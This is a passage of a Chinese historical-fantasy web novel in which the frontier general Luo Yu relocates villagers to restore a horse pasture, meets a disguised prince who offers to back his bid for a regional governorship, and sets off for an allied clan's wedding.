“从今天开始,阙州设立牧马司,你来当司丞!封正五品!境内所有马场都归你管!
马养好了,本将军重重有赏!但如果你掉链子,那就休怪本将无情!”
“掉链子?”苏兰真一脸茫然:“什么是掉链子?”
“额。”洛羽尴尬了,换了种说法:“简单来讲,你要是养不好马,本将得治你的罪!”
“行!草民一定行!”
“不对,下官,下官一定行!”
苏兰真只知道拼命点头,脑袋还是懵的,自己怎么摇身一变就当官了,还是正五品!在阙州算是高官了。
“但除了培养优良战马之外,我还想增加战马的数量。”
洛羽沉声道:
“阙州境内大小马场有十几座,满打满算一年只能出产马匹五千余,能用作战马的不足四千。
你有没有什么好法子能产出更多的战马?”
洛羽目前手里的战马够用,毕竟此次战事从羌人手里缴获了大量战马,但以后呢?
眼下阙州要扩充至两万五千骑兵,以后说不定还会更多!战争对战马的消耗极大,所以洛羽对战马的需求极为迫切。
以阙州每年产出的战马数量远不足以支撑边军的需求。
“额。”
苏兰真多了许久,似乎有话要说,但欲言又止。
“哎,我说你今天怎么婆婆妈妈的!”
曹殇又急了:
“有什么好主意就赶紧说出来,老子脸上也有光。”
“洛将军,请赐地图一用!”
“来人,地图!”
苏兰真站在地图前圈出了一个个小点,洛羽和萧少游错愕地发现这些小点全都是阙州境内马场的位置。
这家伙竟然知道得这么清楚!烂熟于心!看来找他当牧马司的司丞是找对人了。
“不瞒将军,下官真有个好法子,能大大提高阙州的战马数量。”
苏兰真指了指地图:
“诸位大人请看,阙州大半马场实际上都离饮马镇不远,近的十几里,远的也就五六十里。
因为这一片区域是境内难得的牧场,有上好的草料与饮水,地势又平坦。
养马最重要的是什么?是上好的牧场!”
众人大眼瞪小眼,这些道理他们都明白,可这和提高战马产量有何关系?
“简单来讲,牧场越大,战马产出的数量越多!”
苏兰真接着说道:
“下官祖辈就是养马的牧民,我爷爷从小就说过,数十年前这一片区域全都是平原牧场,名为陇右牧场。
后来渐渐才有百姓定居,开垦田地,将陇右牧场隔成了几个碎片,成了今天大大小小的马场。
卑职有一个大胆的想法!”
苏兰真的手掌在地图上一合:
“将这些区域内的百姓全部迁走!还田为草!
此地水土丰美,要不了一两年就能变成草原,到时候陇右牧场便能重现天地!横亘境内长达上百里!
卑职不敢夸口,但战马产量翻上两番绝无问题!”
众人目瞪口呆,曹殇更是像看傻子般看着苏兰真,这家伙也太大胆了。
“异想天开,异想天开啊。”
梅雪崖愕然道:
“这片区域起码有几十个村落,上万百姓,怎么能全都迁走?”
“迁!”
洛羽一锤定音:
“为了牧场,为了战马!迁!”
“什么?真迁?”
众人几乎不敢相信自己的耳朵,就连苏兰真都被洛羽的魄力惊到了,因为他自己说出来的时候都觉得洛羽不可能同意。
“没有马,战场上就打不赢,战场上打不赢,再多的土地也会被羌人践踏。”
洛羽环视全场:
“为了战马,迁走百姓,值!
刺史府立刻着手去办,迁走的百姓由官府给予补偿,划分新田,让他们安安心心地离开。
工程浩大,此事梅雪崖多费心,所需银两由官作司提供,不计成本!
三个月内,所有百姓都要迁走!”
“诺!”
梅雪崖应声而起,他很清楚洛羽的性格,平时什么事都好商量,但只要认定了的事就一定会干下去,谁都拦不住!
洛羽看向苏兰真:
“你要的牧场我可给你了,日后拿不出战马,怎么办?”
苏兰真一咬牙,抱拳道:
“下官愿立军令状,拿不出战马,砍我的头!”
第248章我姓景,讨杯酒喝?
洛羽呆若木鸡的站在赤岐山脚下,张了张嘴说不出话来。
赤岐山整个变了样,堪称天翻地覆,从当初用简陋木棚搭起来的铁匠铺子变成了规模庞大、占地极广的铁匠作坊。
一座座炼铁高炉拔地而起,黑烟滚滚,不知道的还以为是着火了;山脚被掏出了一个巨大的矿洞,人影进进出出。
从半山腰到山脚建起了几条索道,开采出来的矿石可以轻而易举地运到山脚炼制,这还是洛羽出的主意,大大节省了人力。
据公输白说,匠造司的工匠多达上千人,全都是青壮男子,家人定居于苍岐城内。
长矛、苍刀、甲胄、马蹄铁,一应军械源源不断地被打造出来,仓库堆积如山,然后再运送到各军各营。
这已经不能称之为作坊了,洛羽愿意称其为炼铁厂。
洛家军强在哪里?
强在勇敢、强在战术、强在军规,也强在兵器!
一柄柄苍刀、苍矛积攒起来的优势正是洛家军战无不胜的利器!
洛羽的表情让公输白很满意,得意洋洋地说道:
“咋样,壮观吧?我老白可没闲着,拼了命的帮你干活,也不说给我点赏赐,传出去别人可得说洛将军压榨民夫,心黑咯。”
“赏,赏你个头!”
洛羽一个板栗弹在公输白的脑门上:
“我没给你俸禄吗?没给你酒吗?整个阙州你打听打听,有谁每天都能喝上凤仙醉!
一坛二三十两银子,就连老子都舍不得喝,你还天天当漱口水!”
“砰!”
公输白很是尴尬地挠了挠脑门,讪讪笑道:
“开玩笑,开个玩笑嘛。将军看看,你让我打造的甲胄都准备好了!”
两人前方就是挖出来的山洞,里面满满当当全是甲胄军械,但这不是阙州军制式的黑甲,而是分为红甲和白甲两种颜色,分外亮眼。
“这才像样,哼。”
洛羽瞪了他一眼,大喝一声:
“吕青云,余寒弓!”
一直缩在身后不吱声的两人迈前一步:
“末将在!”
“从今日起,血归军全军配红甲,寒羽骑全军配白甲,明日起换装!”
血归军由奴庭难民组成,吕青云的一句何日归故土、今朝血衣屠,振奋军心。那就给全军配上红甲,象征着鲜血染红甲胄,总有一天会杀回故土。
寒羽骑成军之战,漫天白羽犹如大雪降世,寒意笼罩天地,全军白甲白袍白羽,刚刚好应了一个“寒”字。
“诺!”
两位悍将昂首挺胸,这甲胄,真帅啊!
“行了,就这样吧。”
洛羽这才笑眯眯地拍了拍公输白的肩膀:
“干得不错,好好干,本将军绝不会亏待你。你想想,有俸禄有酒喝,你还有什么不知足的?”
公输白点头哈腰,挤出一抹谄媚的笑容:
“是是是,将军说的是,将军乃天底下第一大气!”
“说得好!哈哈,走了!”
洛羽带着吕青云、余寒弓大摇大摆地走了,公输白的笑容眨眼间就没了,朝着后背小声蛐蛐:
“黑啊,真黑!”
“嗯?”
没想到这么轻的声音都被洛羽听到了,板着脸回过头:
“什么黑?”
“啊,黑?”
公输白吓得一哆嗦:
“甲胄,这甲胄真黑啊,好黑!”
……
苍岐城内有一家学堂,乃是官府开办,城内所有十五岁以下的孩童都可以进学堂读书三年,三年后可以参加阙州科举,如果金榜题名便可以当官。
以前对穷苦人来说读书识字是一种奢望,但在阙州不一样,大大小小的私塾学堂如雨后春笋般冒了出来,短短半年,陆怀舟就在阙州全面推开了三年制义务教育。
何为三年制义务教育?
学堂不收学费,每天还供应一顿饭,提供笔墨纸砚,古籍书册可以免费借阅。
天大的好事!利民利国!
学堂内有一大片草地,左右各立着一座球门,十几个半大的孩童正在蹴鞠,洛羽也混在人群里。
“大哥哥,传球啊!给我!”
“来了!接好喽!”
洛羽抬腿一脚将皮球踢飞在半空中,直飞到一个男孩头顶,男孩顺势往前一顶,皮球便飞入了球门。
“砰!”
“欧耶!进了进了,哈哈哈!”
男孩高兴地手舞足蹈。
“看我的!”
洛羽重新挑起皮球,在孩子群里四处穿梭,十几个人都拦不住他,滑溜得很,皮球就像是长在了身上,如影随形。
最后洛羽凌空一脚就将皮球踢入球门,博来了满堂彩:
“洛哥哥太棒啦!”
“帅帅!”
“哈哈哈。”
洛羽笑得合不拢嘴,瞄到沈漓站在场面,便摆摆手跑下场:
“你们玩吧,大哥哥得歇会儿了。”
一身青衣的沈漓用手帕轻轻擦拭着洛羽额头上的汗水,嗔怪道:
“真的是,这么大的人了还和孩子们闹腾,这个时辰他们应该去读书了,回头讲课的先生要被你气死!”
“哎,劳逸结合嘛。”
洛羽毫不介意的说道:
“天天读书迟早都成书呆子,这个年纪的孩子本就是释放天性的时候,蹴鞠还可以强身健体,多好。”
“就你道理多,读书也是你让读,玩也是你带着玩!”
两人有说有笑。
其实沈漓只比洛羽矮了半头,配上一身轻纱青衫,更显高挑,两人站在一起很是相配。
白皙姣好的面容、盈盈一握的腰肢,鼓鼓囊囊的胸口让洛羽下意识地咽了口唾沫。
一个孩童突然窜了出来,笑嘻嘻地问道:
“洛哥哥,你什么时候和沈姐姐成亲哇?”
沈漓瞬间脸颊通红,洛羽更是目瞪口呆:“你说什么?”
一群孩子全都围过来起哄:
“爹娘说你早晚得和沈姐姐成亲,满城人都这么说。”
“对啊对啊,他们说成亲了就有糖吃,我们要吃糖!”
“吃糖吃糖!”
虽说童言无忌,可如此场面洛羽和沈漓都遭不住啊,两人手足无措,甚至不敢对视。
“孩子们,这里有糖吃,来,一人一个,不急,哈哈。”
“哇,糖葫芦!”
一名年轻男子突然出现在场中,手里抓着一大把糖葫芦,笑脸盈盈地分给孩子们。
拿了糖葫芦,嘴巴里满是甘甜,孩子们才放过洛羽二人,蹦蹦跳跳地散开了。
“是你?”
洛羽的眼中闪过一抹精光,发糖葫芦的不是旁人,正是跟在冯德全身边的太监小淮子。
这些天两人说是去阙州各城转转,见识一下边关的风土人情,已经好些天没看到人了,今天却突然冒了出来。
但今天小淮子没有穿太监的官服,还是换了一身干净清爽的雪白长衫,直起腰后身姿也算挺拔,整个人的气质一下子就变了。
他笑了笑:
“战场上杀伐果断的洛将军竟然能和一群孩童玩得不亦乐乎。
真是让我意外。”
他没有自称小奴、杂家,而是我!
洛羽若有深意:
“你应该不是冯公公的徒弟吧,甚至说你都不是太监。”
“你是谁?来阙州做什么?”
沈漓眨巴着眼睛,不自觉地往洛羽身边靠了靠,她感觉气氛有点古怪。
“呵呵,我从京城来,姓景。”
男子轻笑一声:
“找个地方聊聊吧,顺便向洛将军讨一杯酒喝。”
洛羽心中咯噔一下。
景姓平时并不多见,但大乾皇族,姓景!
第249章你来当这个节度使
暮春三月,淅淅沥沥的小雨从云头落下,滋润着大地万物,好让它们勃勃生长。
苍岐城内有一家听雨楼的分号,飞檐斗拱的朱漆楼阁依山而建,足有四层高,装饰的古色古香,风格与凤川城的总号别无二致。
檐角铜铃在风中轻响,与雨声相和,宛如天籁。黑底金字的匾额上写着“听雨楼”三字,乃洛羽亲手所写。
“客官里面请!”
门口的青衣小厮拖着长调,将撑着油纸伞的宾客迎入酒楼。
顶楼包房内早已摆下一张酒桌,两把木椅,包房虽然是排名第一的天字号,但桌上只有六道家常小菜,一壶凤仙醉。
“景致不错啊。”
景姓白衣男子随意地看了一眼窗外,郁郁葱葱,绿茵环绕,再配上细雨蒙蒙,有一股泥土的清香扑面而来:
“我以为洛将军会带我去将军府,没想到来了听雨楼。小楼一夜听春雨、深巷十年卖酒花,如今的听雨楼已经是陇西第一大酒楼了吧?
洛将军太客气了。”
“来者是客,阙州虽然贫瘠,一桌酒菜还是有的。”
洛羽亲自斟满酒杯,轻轻往前一推:
“请。”
洛羽不确定此人是不是自己猜测的身份,但光从气质、谈吐来看,身份绝对不凡。
“唔,确实是好酒啊。”
年轻人将酒杯凑到鼻前嗅了嗅,轻抿了一口:
“上次冯公公给我带回去几坛凤仙醉,第一次喝就觉得乃世间佳酿,今日再品似乎又更上一层楼。
听雨楼或者说苍岐城的酿酒工艺当真是一绝啊。”
洛羽并未接话,只是平静注视,听其话语好像对阙州的情况很了解。
他在等答案。
白衣男子顿了一下:
“我姓景,景淮,洛将军也可以叫我大乾六皇子。”
果然!
洛羽的表情凝重起来,脑海一蒙,大乾朝的皇子,如此尊贵的人物竟然伪装成太监来到了阙州。
他想干什么?
“不用紧张,也不用拘礼,我来见你并无恶意,你我年纪相仿,平辈论交即可。
若是不介意,我称呼你一声洛兄。”
“咳咳。”
景淮将杯中美酒一饮而尽,捂着嘴咳了几声,像是被呛到了,又像是病的,因为洛羽每次见他都会听见几声咳嗽。
“你这是病了?陇西比京城冷,该不会染了风寒吧?苍岐城内有医师,我找人帮你看看。”
洛羽并没有尊称一声殿下,是你自己说的平辈论交,再加上他以皇子之尊敢假扮太监,想必也不是拘礼之人。
“不劳洛兄费心了。”
景淮掏出手帕擦了擦嘴角:
“我自幼体弱,这是老毛病了,无妨。”
洛羽眉头微挑,怪不得他看起来这么柔弱,以皇室的能力都治不好景淮的病,那定然是先天之疾,神仙来了也没辙。
四目相对,屋中莫名陷入一种安静,二人相视无言。
洛羽率先打破沉寂:
“冯公公之前说过,朝中有贵人助我,应该是你吧?”
景淮既没承认也没否认,反问道:
“为何这么说?”
“云阳关之战结束后,我与李家差点火拼,是加封正四品定边将军的圣旨扼杀了李家动手的借口。
我知道是陆铁山老将军快马加鞭把军报送往京城,为我请赏,但他自己也不过从四品,哪来的本事帮我求正四品官位?
区区边军小卒而已,京城的达官显贵们都没听过我的名字,怎么可能平白无故封我为正四品的将军?
所以定然有人出手相助。”
说到这里洛羽顿了一下,他此前以为是武家相助,但后来证明并不是。
“再者就是我灭了李家,朝廷一旨诏书封我为安西将军、阙州持节令,算得上封疆大吏了。李家主政阙州多年,我只是个毛头小子,若不是身份显赫之人相助,我绝不会如此轻松当上持节令。
此事我问过冯公公,他承认有贵人相助。
但我真的想不出是谁,因为偌大一座京城我谁也不认识。”
洛羽缓缓抬头:
“直到刚刚你表露身份,再加上与冯公公关系亲近,我才确定所谓的贵人就是你!”
知道现在洛羽都觉得难以置信,从未谋面的尊贵皇子为什么要帮自己?
“冯公公说得不假啊,洛兄聪明得很。”
景淮笑了笑:“这才说明我没有帮错人。”
洛羽眉头紧皱:“你我连一面之缘都没有,为什么帮我?”
景淮倒了一杯酒,开始讲故事:
“其实云阳关战报送到京城的时候并无人在意,乾国太大了,疆域数千里,又不止有陇西一处边关在打仗。
说句不中听的,死个千把人,杀个把敌将根本算不得什么事,兵部的大员们甚至都懒得多看一眼。
但我看到了军报,不到二十岁就能阵斩西羌领兵大将,还是两次,你引起我的兴趣。
从军报里我看出了你和李家的矛盾,我料定你回境之后李家很快就会上门找麻烦,所以我第一时间举荐你为正四品定边将军,让冯公公快马加鞭赶往阙州。
再后来我就开始观察你,搜集你的情报,从你第一次云阳关战事起家、苍岐建城、卖酒织布,一直到横扫阙州、灭掉李家我全都知道。
带兵有方、用兵如神,在我看来你是难得一遇的帅才,放眼陇西三州,唯有你能够带兵抵抗羌人。
所以在羌兵犯境之际,我顶着群臣的弹劾奏折力荐你为安西将军、阙州持节令,指挥此次战事。”
“你还是没有回答为什么帮我?”
洛羽眉头紧皱,他和景淮从未谋面,难道就因为自己能打仗顶着满朝文武的压力帮自己上位?
“我刚刚不是说了吗,我很看好你。”
景淮面色古怪:
“云阳关一战你阵斩敌将,收复失地,理应封赏。阙州李家作恶多端、恶贯满盈,理应满门抄斩。
论功劳论实力,你都该当阙州持节令。
怎么,什么时候我大乾朝赏罚分明也要被问什么了?”、
这位六皇子的语气中带着一分自嘲,如今的大乾是什么样子他岂能不知?
“赏罚分明,就这么简单?”
洛羽眉头微挑:
“该不是你想拉拢我吧?”
“拉拢吗?”
景淮微微向椅背上一靠,神情自若:
“洛兄如果这么想也可以,但我不会要求你为我做什么,相反我还会再帮你一次。”
“再帮我一次,你是指什么?”
洛羽还是疑惑,如今两朝停战、外无敌人,阙州并未近忧,还有什么值得他相助?
景淮嘴角微翘:
“洛兄虽然起于边军小卒,可一步步走来目的明确,吞并地盘、扩充实力,不停地往上爬,你胸中有大志啊。区区一个阙州持节令难道就满足了?
我猜洛兄下一步是想统一陇西三州吧?”
洛羽的表情第一次变得凝重起来,这家伙还真是聪明,一语中的!
没错,他就是想统一陇西三州,因为武家的仇还等着他去报,父兄的死还等着他去查明真相。
正如当初常如霜所言,阙州持节令不够,远远不够!
景淮并没有等洛羽回答,自顾自地说道:
“大乾十三道,其中十二道皆有节度使掌管全境,唯有陇西道没有,三州一直是各自为政。
这些年来羌兵屡屡犯境,都是靠朝廷和三州共同出兵抵抗,拼凑出一支乌合之众,各个将领各怀异心、貌合神离,屡战屡败,这一点想必洛兄深有体会。”
洛羽没有否认,从一开始入军他就体会到了什么叫尔虞我诈、钩心斗角,不断有人从背后捅刀子。
这么打仗谁吃得消?
“打不赢仗,王、君、李三家依旧过着锦衣玉食的好日子,受苦受难的都是百姓。
次次败、年年败,终有一日会陇西失陷,到那时便会国将不国。”
景淮平静地说道:
“所以朝廷有意在陇西道设一节度使,掌管全境军政大权,统筹对外战事。
朝廷指派了一位巡阅使来陇西,已经起程上路,他此行的目的就是考察三州持节令,看看谁有资格当这个节度使。”
“噢?要设置节度使?”
洛羽对这个消息倒是很感兴趣。
“再告诉你一个秘密。”
景淮轻笑一声:
“你不要以为节度使一定会是你们三家之一,这位巡阅使也是有力的竞争人选,陇西三州对朝廷的命令一向阳奉阴违,不少朝臣都建议由此人担任节度使,制衡三州。
王家、君家在陇西多年,根基深厚,朝中也有人脉,他们两家同样有人支持。
唯独你,后起之秀,毫无人脉,朝中并无一人替你说话。
也就是说你最不可能当上这个陇西节度使。”
景淮抬头直视洛羽:
“但我会帮你!”
“呵呵,这不是你帮不帮我的问题。”
洛羽冷笑了一声,陇西三家谁也不服谁,别管是巡阅使还是君家王家,谁都没本事全盘掌握陇西三州。
“我知道你心里在想什么。”
景淮目光微凝:
“如果陇西一直是三足鼎立的局面,那谁当这个节度使都没用,照样管不了陇西军政,无非是一个空头衔罢了。要想结束这个局面唯有一种可能,那就是三州归一、只剩一家!
你如果有本事让君家王家彻底臣服,甚至说灭了两家,我就能帮你扫清朝堂上的障碍,堵住朝臣的嘴巴。
确保你踏踏实实坐稳陇西节度使的位置!”
洛羽目光一震,柔弱的景淮身上突然给他一种狠厉、坚决的感觉,而且完全不像是在说谎。
“该说的话我已经说完了。”
景淮平整了一下雪白长衫:
“明日我就起程回京,五十万两白银,十万石军粮已经在秘密运往阙州,算是我送你的见面礼。
我不是太子,也不是排名靠前的皇子,暂时只能给你这么多,能不能当上陇西节度使,就看你自己的本事了。”
洛羽被他的大手笔惊到了,沉默许久问了一句:
“为什么会选我?”
“天下大乱,民如刍狗,以前陇西百姓活得太苦了。
这些天我在阙州转了转,你做得很好。”
景淮目光怅然,透过窗口望向阙州大地:
“你当这个节度使,三州会少死很多人,起码百姓能活得像个人。”
第250章你要当上门女婿?
一晃就过去了一个月,西羌果然未起兵马报复,边境相安无事。
阙州境内忙着征兵、垦荒、迁移百姓、平整陇右牧场,所有事都有条不紊地向前推进。
紧跟着就有一道消息令陇西官场产生了骚动:
正如景淮说的那样,朝廷往陇西道派了一名巡阅使,名为上官熙,对外的说法是作为朝廷钦差巡视陇西三州,考察合适的陇西道节度使人选。
不过这家伙也没考察三州,到了陇西之后就入住了并州王家,根本没有踏足定州阙州两地。
其实这也正常,因为定州阙州地处前沿,刚杀了一个西羌皇子,鬼知道西羌会不会突然出兵报复?为了自己的安全,很多朝廷官吏来陇西都会选择在内地并州落脚。
三岐山内
“驾!”
“轰隆隆!”
“听着鼓声,前进!”
“嚯嚯嚯!”
“骑军变阵!”
校场上有大批骑军往来奔驰,时而单独成列操练刺杀之术,时而汇聚成阵,闻鼓而进、鸣金而止,习练军阵变化。还有一队队步卒方阵挥舞刀枪盾牌,喝声不绝。
放眼望去黑甲茫茫,玄旗高举。唯有血归军的赤色甲胄与寒羽骑的雪白战袍分外两眼,时不时就有漫天箭雨在空中弥漫。
但你仔细看就会发现,场中军卒大部分都是青涩的年轻面庞,没错,他们是阙州新兵!
洛羽驻足将台看了许久,颇为满意的点头:
“新兵的气势不错啊,五万兵马扩充齐了吗?”
“各军各营皆已满编,如今我阙州有整整五万大军。”
萧少游轻笑道:“寒山关一场大捷歼敌数万、杀西羌九皇子,阙州军名震三州,如今青壮百姓的从军意愿高涨,不满将军说啊,就算再征召一两万新兵也行。”
“暂时五万就够了,两万多老兵两万多新兵,新老混合可以迅速形成战斗力,再多就不行了。”
洛羽微微一笑:
“陆老将军与石敢驻守云阳关、韩朔将军驻防天阙城,各野战边骑的主力驻扎于苍岐,三足鼎立,遥相呼应,任他西羌诡计多端我阙州也是固若金汤!”
如今的阙州已经不是李家统治时期了,任由羌兵游骑肆虐,现在的洛羽有信心与西羌进行大规模的野战,且战而能胜!
“对了。”
萧少游突然想起了什么:
“昨日军粮和军饷已经秘密运入苍岐,不多不少正好五十万两白银、十万石军粮,这位六皇子好大的手笔啊。”
洛羽目光一亮,有了这笔钱粮暂时就不需要担心后勤了:
“我让你去查的消息有眉目了吗?”
“打听到个大概吧。我朝皇子众多,除了一位太子之外底下还有好几位强势的皇子,据说私底下一直在暗中争夺太子之位,六皇子景淮一向名声不显,再加之自幼体弱多病,从不为朝臣们所重视。
但这次他力荐将军出任阙州持节令、指挥陇西战事选对了人,将一众朝臣的嘴巴堵得严严实实,也算出了些风头。
至于那位巡阅使上官熙,并不是出自大世家大门阀,而是靠自己从底层一步步爬上来的,算是个能人了。”
“好像也没太多有用的消息啊。”
洛羽皱眉道:
“只能大概推断出景淮和咱们一样,在朝中并无太多根基,如此一来变说得通了,一个没有根基的皇子自然需要些助力,说不定他就是在拉拢我们。”
当然了,景淮所谓的没有根基是和其他几位强势皇子、太子比较,可不是和自己这种边关小将比较,要不然人家怎么能大手一挥运这么多钱粮到陇西呢。
洛羽突然想到那天景淮说的话:
你当节度使,或许能拿让三州百姓少死一些吧。
光听这句话,景淮似乎不像个恶人。
萧少游苦笑一声:
“陇西三州的事咱们还能打听打听,京城方面消息闭塞,想打听点消息不容易啊。”
洛羽心中暗自琢磨,看来是时候组建个情报机构之类的了,以后去京城查武家的案子早晚用得上:
“不过上官熙倒是出人意料啊,背后没有家族支撑能走到如此高位,想必有些手段,咱们得多留心。”
“明白!”
“少游,景淮说的事你怎么看?”
“要想查清武家的冤案、报仇雪恨,单靠一个阙州是肯定不够的,唯有将陇西三州全都握在手里才能在乱世中有自保之力,所以这个节度使我们说什么都要争一争。”
萧少游踌躇片刻后反问了一句:
“可若是为了节度使一职要与定州、并州开战,恐怕不合适吧?”
“这也正是我犹豫的地方。”
洛羽长叹了一口气:
“我们与君墨竹交情不错,君天啸虽然心胸狭隘了些,可没有像李玄冰那样坏到骨子里。还有王彦之,对我们态度恭敬,注重礼节。
此次边关战事,两家出兵出粮绝无二话,君沉、凌桐那些将军们也在战场上奋力死战。让我突然对两家开战,是真下不了这个手啊。
最重要的一个原因,我不想看到三州内战、生灵涂炭。”
挣扎、纠结。
三州不一统,日后百姓遭殃,可是强行开启战端,也会死很多的人。
萧少游很理解洛羽的心情,苦笑一声:
“如果能用和平的方法让三州一统就最好不过了,如果我们阙州贸然开启战端,害得三州生灵涂炭,岂不是亲者痛仇者快?”
“罢了,走一步看一步吧,此事急不得。”
洛羽冷笑一声:
“朝廷不是还派了上官熙这位巡阅使来吗,分明就是想把陇西的水搅得更浑,咱们且看他能折腾出多少花样!
咱们该练兵练兵,该屯粮屯粮,先发展自己的实力!”
“好!”
岳伍突然站在了二人身后,轻声道:
“将军,君公子到了。”
……
“我说你这个家伙,不是都快要成亲了吗,不好好在定州待着、筹备婚事,怎么跑到苍岐来了?”
洛羽和萧少游大踏步走进屋中,君墨竹正悠哉悠哉地品茶,十分惬意,就像是到了自己家里一样。
君墨竹随手将一封请柬扔在桌上:
“当然是来送请柬了,两个月后便是我成亲的日子。”
“送请柬?这么点小事让下人来不就好了,何劳新郎官亲自跑一趟?”
洛羽拍着胸脯道:
“放心,到时候我一定去,正好见识一下定州君家的大宅何等气派!”
“哈哈哈哈。”
君墨竹白了他一眼:
“谁说婚礼在君家了?是去并州,王家!”
“什么,婚礼在王家办!”
洛羽和萧少游目瞪口呆,婚事不是应该在男方办吗?
难道堂堂君家二公子要去当上门女婿!
第251章两颗种子,两种人生
两人震惊的目光让君墨竹再次翻了个白眼:
“我可不是去当上门女婿!”
“那怎么在王家办婚礼?”
君墨竹耐心地解释起来:
“其实一开始婚礼是放在君家的,各项事宜也在筹备之中,怎奈王彦之的父亲、阙州持节令王蒙的身体每况愈下、病入膏肓,实在无法长途颠簸赶往定州,可唯一一个女儿出嫁,当爹的总不能不在场吧。
所以最后两家商议,将婚事放在王家举办。”
“原来如此。”
二人恍然大悟,这么说的话就情有可原了,不仅能彰显两家的和睦友好,还能体现晚辈的孝心,百善孝为先嘛。
“这是第一封请柬,其他请柬很快就会送到定州、并州大大小小的城主、达官显贵手中,届时三州的军政官员会齐聚并州首府并州城。”
君墨竹嘟囔道:
“你们阙州又没有城主,所以请柬只能送给你这个持节令,少游,你也一起去。”
“哎,我就不去了。”
萧少游无奈一笑:
“洛将军不在,君家的人也都去并州参加婚礼,边防谁来管?我留在阙州坐镇,万一羌兵突然来袭呢。
先提前给君兄道喜,等日后咱们再一醉方休!”
“好吧,也有理。”
君墨竹点了点头,两州边关无人坐镇他可放心不下。
洛羽笑呵呵地打趣道:
“只怕这是陇西三州今年来最大的盛事了,君公子的排场就是大啊,真令人羡慕。”
“得了,你就别嘲讽我了。赶紧把婚事办了,省得我再操心,早办早安生。”
君墨竹不耐烦地挥了挥手,对于这门婚事他早已认命,出生世家大族总有身不由己的时候,世人皆如此,不止他一人。
“请柬也送了,你是现在回去还是管你一顿饭?咱苍岐没有美酒佳肴噢。只有粗茶淡饭。”
“回去?我才不回去。”
君墨竹死皮赖脸地往椅子上一趟:
“我在苍岐住半个月,到时候和你一起去并州城,我实在懒得去应付那些城主、客人,这些事就让我哥操心去吧。”
“在我这住半个月?”
洛羽目瞪口呆:
“合着你不是来送请柬的,是躲灾来了。”
……
春风穿过白纸糊起来的窗棂,将几片竹叶吹进私塾。君墨竹拾起一片青翠的竹叶,屋内十几名衣衫褴褛的孩子瞪大着眼睛,炯炯有神,年纪最大的一名男孩兴奋地问道:
“先生,咱们今天学什么?”
君墨竹在苍岐城也没什么事,每日便跑到私塾讲课。
他是什么人?他可是饱读诗书、号称陇西才华之最的君家二公子,有才华又风趣,没两天就赢得了孩子们的喜爱。
君墨竹微微一笑,从袖中取出一卷泛黄的纸:
“今天我们对比两首诗,一首写富贵、一首写贫寒。”
他展开第一张纸,朗声念道:
“梨花院落溶溶月,柳絮池塘淡淡风。”
“这句诗写的是富贵人家的庭院景致。”
君墨竹指着窗外:“此诗写富贵,只字不提金银珠宝,只说月光如水洒在梨花院落,春风轻拂柳絮飘过池塘。这才是真正的富贵气象,从容、优雅,不需要炫耀。”
孩子们似懂非懂地点点头,有人挠了挠头:
“先生,富贵人家真的只看月亮和柳絮吗?他们不数钱吗?我爹娘每天晚上回家都得数一数今日挣了几个铜板,明日吃饭要花几个铜板。”
“哈哈哈!”
教室里爆发出一阵笑声。君墨竹也笑了,随即展开第二张纸,声音低沉下来:
“不爨井晨冻,无衣床夜寒。囊空恐羞涩,留得一钱看。”
“这首诗说的是早晨没米下锅,井水都冻住了,夜里没有厚衣,冻得发抖。钱袋空空如也,却还要留一文钱充门面,怕人笑话。”君墨竹环视孩子们,
“这就是贫穷,连基本的温饱都难以维持,就像苍岐城的家家户户,也就这两年才能吃上饱饭,以前都是饿肚子的。”
教室里安静下来,孩子们都有些萎靡,没错,他们小时候天天饿肚子,哪怕能喝一口米汤也觉得是上天恩赐。
站在门外的洛羽和萧少游对视了一眼,今日这位君公子讲的课有些沉重啊。
一名男孩小心翼翼地举起手掌,脆生生地问道:
“先生,为什么有的人生来就能有大院子、不需要为钱烦恼,但有的人生下来就得天天饿肚子,公平吗?”
满屋的孩子都睁大了眼睛,他们虽然年纪小,不懂什么大道理,但也知道这样不公平。
“问得好!”
君墨竹放下手中的卷纸走到孩子们中间坐下,让自己与他们平视:
“给你们讲个故事吧。”
“好耶好耶!”
孩子嘛,最喜欢听人讲故事了。
“从前有两颗种子,一颗落在肥沃的花田里,一颗落在石缝中。花田里的种子得到充足的阳光雨露,很快长成美丽的花朵;石缝中的种子却要拼命扎根,才能吸收到一点点养分。
同样一颗种子,只因为落的地方不同就走上了截然不同的道路,也不公平。”
“但是。”
君墨竹的声音变得有力:“当暴风雨来临时,花田里的花朵被连根拔起,而石缝中的那株植物却屹立不倒。因为它历经磨难、饱经风霜,所以更加坚强。”
他环视着孩子们:
“你们就是石缝中的种子,你们是陇西这片贫瘠之地的种子。现在的处境确实艰难,但这些艰难会让你们变得更强。
古人云:宝剑锋从磨砺出,梅花香自苦寒来。
你们要相信自己,一定会拥有更加广阔的人生!”
孩子们目光怔怔,眼神中多了许多以前不曾有的希望。
洛羽和萧少游也认真听完了这个故事,相视一笑。
……
苍岐城外
三百披甲骑军驻足,中间护着几辆马车。
今日洛羽和君墨竹就要起程前往并州城,等待成婚之日的来临,毕竟是内地,岳伍和许韦令三百亲军护卫就足够了,哪个不开眼的土匪流寇敢袭击阙州精锐?
沈漓、萧少游、梅雪崖三人送行,洛羽轻笑道:
“我得喝君公子的喜酒去了,阙州军政就交给你们两了。”
“放心去吧,回来之后阙州一定比现在更加好,哈哈。”
君墨竹抱了抱拳:
“两位,成婚之日我定会请你们喝顿酒,不醉不归!”
“好!”
沈漓轻轻迈前一步:
“你的行李我都收拾好了,放在马车上,并州城据此几百里,一路上颠簸得很,你就不要骑马了,坐马车舒服些。
还有……”
旁边几人眼观鼻、鼻观心,沈漓这口吻哪像是洛羽的下属啊,分明就是自己的小媳妇送丈夫远行。
“知道了,那我走了。”
洛羽觉得有些尴尬,逃也似的挥挥手:“都回吧,两个月后我就回来了。”
“祝将军一帆风顺!”
“嘎吱嘎吱~”
骑队缓缓远行,马车内的君墨竹讥笑一声:
“沈姑娘对你情谊深重啊,这次回来是不是就该喝你的喜酒了?”
“呸!”
洛羽红了脸、瞪着眼:
“再唠叨给你丢出去,自己去并州!”
“哈哈哈!”
城门口,沈漓一直在目送车驾远去,刚准备回城,莫名觉得胸口一阵抽痛,差点一口气没喘上来。
沈漓一边捂着发紧的胸口,一边怔怔望向车队:
“该不会出什么事吧?”
第252章我有情报网
三岐山本就卡在定州、阙州的连接处,骑队出苍岐城,转道凤川,很快便进入定州境内,然后走大路直奔并州。
君墨竹说的果然不假,他的婚事已经成了百姓们议论的焦点,各地城主陆续启程赶往并州城,路上偶尔撞见几队都拉着好几马车的礼物。
